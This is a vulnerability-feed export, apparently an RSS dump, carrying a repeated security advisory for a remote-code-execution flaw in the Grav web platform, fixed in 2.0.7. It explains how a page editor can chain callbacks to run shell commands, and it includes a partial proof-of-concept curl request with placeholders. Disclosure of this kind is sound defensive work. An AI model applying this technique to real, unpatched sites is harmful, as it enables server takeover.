https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Sat, 10 Oct 2026 04:08:52 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-356455 EUVD-2026-356455 https://cve.radiocsirt.org/vuln/euvd-2026-356455 https://cve.radiocsirt.org/vuln/fkie_cve-2026-64850 <p>Grav is a file-based Web platform. Prior to 2.0.7, Grav Blueprint::dynamicData() in system/src/Grav/Common/Data/Blueprint.php sends an editor-controlled Class::method provider and arguments to call_user_func_array() without rejecting dangerous callback parameters. An account with admin.pages or api.pages.write can use Grav\Common\Utils::arrayFilterRecursive() as a trampoline with system as the callback, place a command in page frontmatter, and execute that command as the web server user when the page is viewed. This issue is fixed in version 2.0.7.</p> <p>Grav is a file-based Web platform. Prior to 2.0.7, Grav Blueprint::dynamicData() in system/src/Grav/Common/Data/Blueprint.php sends an editor-controlled Class::method provider and arguments to call_user_func_array() without rejecting dangerous callback parameters. An account with admin.pages or api.pages.write can use Grav\Common\Utils::arrayFilterRecursive() as a trampoline with system as the callback, place a command in page frontmatter, and execute that command as the web server user when the page is viewed. This issue is fixed in version 2.0.7.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2026-64850 https://cve.radiocsirt.org/vuln/ghsa-fj2p-qj2f-74v5 <p><strong>Affected:</strong> Packagist: getgrav/grav</p> <p>### Summary An account with the `admin.pages` permission (or `api.pages.write`) can run shell commands on the server. The command executes whenever anyone — including an unauthenticated visitor — opens the page.</p> <p>### Details `Blueprint::dynamicData()` (system/src/Grav/Common/Data/Blueprint.php:426) passes a `Class::method` string and its arguments straight to `call_user_func_array()` with no allowlist. The form plugin runs page frontmatter through this path (form/classes/Form.php:432), so a page author controls the input. `Grav\Common\Utils::arrayFilterRecursive($source,$fn)` (system/src/Grav/Common/Utils.php:1169) is a public static that calls `$fn($key,$value)`, so passing `system` as `$fn` and a command as the array key runs the command.</p> <p>### PoC Placeholders: `&lt;BASE_URL&gt;` the site; `&lt;SESSION_COOKIE&gt;` an admin session cookie for an account with `admin.pages`; `&lt;ADMIN_NONCE&gt;` the `admin-nonce` on any admin page (`window.GravAdmin.config.admin_nonce`).</p> <p>Save a &#34;form&#34; page whose field carries the callable directive:</p> <p>curl &#39;&lt;BASE_URL&gt;/admin/pages/rcepoc&#39; \ -H &#39;Cookie: &lt;SESSION_COOKIE&gt;&#39; \ --data-urlencode &#39;task=save&#39; \ --data-urlencode &#39;admin-nonce=&lt;ADMIN_NONCE&gt;&#39; \ --data-urlencode &#39;data[folder]=rcepoc&#39; \ --data-urlencode &#39;data[name]=form&#39; \ --data-urlencode &#39;data[title]=x&#39; \ --data-urlencode &#39;data[content]=hi&#39; \ --data-urlencode &#34;data[frontmatter]=forms: x: fields: y: type: text…</p> <p><strong>Affected:</strong> Packagist: getgrav/grav</p> <p>### Summary An account with the `admin.pages` permission (or `api.pages.write`) can run shell commands on the server. The command executes whenever anyone — including an unauthenticated visitor — opens the page.</p> <p>### Details `Blueprint::dynamicData()` (system/src/Grav/Common/Data/Blueprint.php:426) passes a `Class::method` string and its arguments straight to `call_user_func_array()` with no allowlist. The form plugin runs page frontmatter through this path (form/classes/Form.php:432), so a page author controls the input. `Grav\Common\Utils::arrayFilterRecursive($source,$fn)` (system/src/Grav/Common/Utils.php:1169) is a public static that calls `$fn($key,$value)`, so passing `system` as `$fn` and a command as the array key runs the command.</p> <p>### PoC Placeholders: `&lt;BASE_URL&gt;` the site; `&lt;SESSION_COOKIE&gt;` an admin session cookie for an account with `admin.pages`; `&lt;ADMIN_NONCE&gt;` the `admin-nonce` on any admin page (`window.GravAdmin.config.admin_nonce`).</p> <p>Save a &#34;form&#34; page whose field carries the callable directive:</p> <p>curl &#39;&lt;BASE_URL&gt;/admin/pages/rcepoc&#39; \ -H &#39;Cookie: &lt;SESSION_COOKIE&gt;&#39; \ --data-urlencode &#39;task=save&#39; \ --data-urlencode &#39;admin-nonce=&lt;ADMIN_NONCE&gt;&#39; \ --data-urlencode &#39;data[folder]=rcepoc&#39; \ --data-urlencode &#39;data[name]=form&#39; \ --data-urlencode &#39;data[title]=x&#39; \ --data-urlencode &#39;data[content]=hi&#39; \ --data-urlencode &#34;data[frontmatter]=forms: x: fields: y: type: text…</p> https://cve.radiocsirt.org/vuln/ghsa-fj2p-qj2f-74v5